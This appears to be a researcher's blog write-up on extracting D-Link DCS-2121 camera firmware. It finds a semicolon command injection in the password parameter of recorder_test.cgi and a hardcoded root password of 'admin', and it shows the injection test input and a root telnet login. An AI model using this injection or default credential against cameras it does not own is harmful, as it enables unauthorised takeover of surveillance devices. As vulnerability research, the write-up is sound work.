I recently bought a D-Link DCS-2121 surveillance camera. This is good stuff:
- Megapixel camera + microphone + speaker
- WiFi, UPnP and dynamic DNS supported
- Web and Mobile Web access to streaming data
- Motion detection
- SDCard recording
$ wget http://www.dlink.com.sg/support/Support_download.asp?idsupport=745
$ unzip dcs-2121_fw_1.04_3227.zip
inflating: DCS-2121_A1_Release Note_forFW1.04-3227.txt
$ file DCS-2102_DCS-2121_A1_FW_1.04_3227.bin
DCS-2102_DCS-2121_A1_FW_1.04_3227.bin: POSIX shell script text executable
Yes, firmware is … a shell script file! In fact, this file is broken into two parts:
- A shell script
- A binary blob
The shell script is very small - interesting parts are the following:
# tarLine will be replaced with a real number by Makefile
tail -n +153 "$1"
extract "$self" | ddPack - || exit 1
"ddPack" is a custom application. Nevertheless we gained some insights about memory layout, and we know that a CramFS filesystem is used.
CramFS "magic" bytes are 0x28cd3d45 - they are very easy to locate within the firmware (beware of endianness). Actual offset may vary - depending of the firmware localization (D-Link provides regional builds of the same version).
$ dd if=DCS-2102_DCS-2121_A1_FW_1.04_3227.bin of=cramfs bs=1138213 skip=1
5+1 records in
5+1 records out
6168576 bytes (6.2 MB) copied, 0.0210627 s, 293 MB/s
$ file cramfs
cramfs: Linux Compressed ROM File System data, little endian size 5791744 version #2 sorted_dirs CRC 0x70c14953, edition 0, 3603 blocks, 1199 files
$ sudo mount -o loop,ro cramfs /mnt/loop/
bin dev etc lib linuxrc mnt opt proc sbin scripts tmp usr var
We now have full read access to the firmware, which leads to interesting discoveries. According to copyright strings, the camera itself is built around the Prolific PL-1029 "System On a Chip". Many CGI files under "/var/www" are calling eval() with user-supplied parameters. There is also a promising "/var/www/cgi/admin/telnetd.cgi" script :)
# get current setting from tdb
# format looks like VariableName_type
# make sure, ...
# 1. $result is set
# 2. variables in dumpXml are all set
if [ "$command" = "on" ]; then
/usr/sbin/telnetd 1>/dev/null 2>/dev/null
killall telnetd 1>/dev/null 2>/dev/null
xmlBegin index.xsl home-left.lang index.lang
scenario=$(basename $0 | cut -d'.' -f1)
However we are going to focus on a very specific bug: "semicolon injection". In my experience, this bug plagues all and every Linux-based embedded devices, ranging from the OrangeBox (now dead link) to DD-WRT. Let's look for compiled CGI that might be calling system().
var/www/cgi/admin$ fgrep system *
Binary file adv_audiovideo.cgi matches
Binary file adv_godev.cgi matches
Binary file adv_sdcard.cgi matches
Binary file calibration.cgi matches
Binary file export.cgi matches
Binary file go_sleep.cgi matches
Binary file import.cgi matches
Binary file netWizard.cgi matches
Binary file pt8051_settings.cgi matches
Binary file pt_settings.cgi matches
Binary file reboot.cgi matches
Binary file recorder_status.cgi matches
Binary file recorder_test.cgi matches
Binary file reset.cgi matches
Binary file rs485_control.cgi matches
Binary file tools_admin.cgi matches
Binary file tools_system.cgi matches
Binary file wireless_ate.cgi matches
Let's focus on those files, and look for possibly unsecure calls.
$ strings -f * | grep "%s"
adv_godev.cgi: TinyDBError %s
adv_sdcard.cgi: rm -rf "%s"
adv_sdcard.cgi: mkdir -m 0777 %s/video
adv_sdcard.cgi: find "%s" -type f -name "*" |wc -l
pt_settings.cgi: TinyDBError %s
recorder_test.cgi: TinyDBError %s
recorder_test.cgi: umount %s
recorder_test.cgi: mkdir -p %s
recorder_test.cgi: smbmount //%s/%s %s -o username=%s,password=%s
recorder_test.cgi: touch %s
rs485_control.cgi: TinyDBError %s
rs485_control.cgi: RS485PresetControl::%s(), unexpected command
So … "recorder_test.cgi" potentially calls system("smbmount //%s/%s %s -o username=%s,password=%s") … Let's see if "password" parameter is properly escaped.
|Try #1 with password "toto". Command result is "mntFailure".|
|Try #2 with password "toto;/bin/true". Command result is "ok" :)|
It is now time to start that "/usr/sbin/telnetd" server :) But wait ... what is "root" password ?
"/etc/passwd" and "/etc/shadow" are symbolic links to "/tmp/passwd" and "/tmp/shadow". Those files are created at boot time by "/etc/rc.d/rc.local" script.
touch /tmp/group /tmp/passwd /tmp/shadow
echo 'root:x:0:' > /etc/group
echo 'root:x:0:0:Linux User,,,:/:/bin/sh' > /etc/passwd
echo 'root:$1$gmEGnzIX$bFqGa1xIsjGupHyfeHXWR/:20:0:99999:7:::' > /etc/shadow
#telnetd > /dev/null 2> /dev/null
addlog System is booted up.
echo "rc.local start ok."
So ... "root" password is hardcoded to "admin". How cool is that ? ;)
$ telnet 192.168.0.117 23
DCS-2121 login: root
BusyBox v1.01 (2009.07.27-09:19+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.
~ # uname -a
Linux DCS-2121 2.4.19-pl1029 #1 Mon Jul 27 17:21:05 CST 2009 armv4l unknown
As often with Linux-based embedded firmwares, a trivial "semicolon injection" bug can be found with no reverse-engineering - grep is the only tool you need to reproduce this case at home.
Disclaimer (for not-so-funny people): yes this is "0day", unreported to the vendor. I even suspect the whole D-Link product line is vulnerable to the same bug (if not the whole world of low-end embedded systems (and even business class products)). However, since Web access requires authentication, this bug might be exploitable by administrators only, so it is only useful for people who would like to gain a shell on their own systems. Do not panic :)
Bonus: how to find D-Link cameras on the Internet.